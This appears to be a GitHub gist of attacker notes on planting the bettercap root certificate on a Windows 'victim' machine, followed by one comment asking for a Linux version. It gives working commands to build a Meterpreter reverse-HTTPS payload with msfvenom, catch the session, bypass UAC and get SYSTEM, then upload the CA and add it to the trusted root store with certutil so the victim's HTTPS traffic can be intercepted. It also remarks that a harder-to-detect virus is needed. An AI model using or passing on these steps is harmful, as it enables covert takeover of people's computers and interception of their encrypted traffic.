Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save solominh/63b37527bdad9060e06dbff1961de0e8 to your computer and use it in GitHub Desktop.
Save solominh/63b37527bdad9060e06dbff1961de0e8 to your computer and use it in GitHub Desktop.
IMPORT BETTERCAP_CA.PEM INTO VICTIM MACHINE
0. Fix bettercap-ca.pem
- cd /root/.bettercap/
- cp bettercap-ca.pem ca.pem
- gedit ca.pem
=> delete private key and save
1. Create a virus name test.exe
- msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.0.104 LPORT=443 -f exe -o /root/.bettercap/test.exe
2. Wait for victim click test.exe (detected by Antivirus easily => must create more sophisticated virus)
3. Listen to Meterpreter session
- msfconsole
- use exploit/multi/handler
- set payload windows/meterpreter/reverse_https
- set LHOST 192.168.0.4
- set LPORT 443
- expoit
4. Bypass UAC to have admin privilege
- meterpreter>background
- msf> use exploit/windows/local/bypassuac
- set session 1 (=> victim click test.exe many times => many sessions)
- set payload windows/meterpreter/reverse_tcp
- set LHOST 192.168.0.104
- set LPORT 4443
- exploit
- meterpreter> getsystem (=> penetrate)
- meterpreter> getuid (=> view privilege)
5. Import bettercap-ca to victim machine
- meterpreter> pwd (print working directory)
- meterpreter> upload "/root/.bettercap/ca.pem" .
- meterpreter> shell
- C:/> cd to where you upload ca.pem
- C:/> certutil -addstore "Root" "./ca.pem"
@q2dg
Copy link

q2dg commented Feb 28, 2021

Something similar for Linux machines would be wonderful. Thanks

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment